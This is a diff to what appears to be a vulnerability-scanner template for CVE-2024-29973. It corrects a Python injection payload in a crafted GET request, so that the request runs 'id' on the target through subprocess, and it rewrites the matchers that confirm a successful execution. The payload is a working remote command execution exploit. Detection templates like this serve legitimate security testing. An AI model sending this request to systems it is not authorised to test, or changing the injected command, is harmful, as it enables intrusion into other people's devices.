updated matchers

http/cves/2024/CVE-2024-29973.yaml

@@ -27,16 +27,14 @@ info:
 http:
   - raw:
       - |
-        GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+and+False+or+_import_("subprocess").check_output("id",+shell=True)%23 HTTP/1.1
+        GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+and+False+or+__import__("subprocess").check_output("id",+shell=True)%23 HTTP/1.1
         Host: {{Hostname}}
 
-    matchers-condition: and
     matchers:
-      - type: regex
+      - type: dsl
-        part: body
+        dsl:
-        regex:
+          - "status_code == 200"
-          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
+          - "contains(body, 'errmsg0\": \"OK')"
-
+          - "contains(header, 'application/json')"
-      - type: status
+          - regex('uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)', body)
-        status:
+        condition: and
-          - 200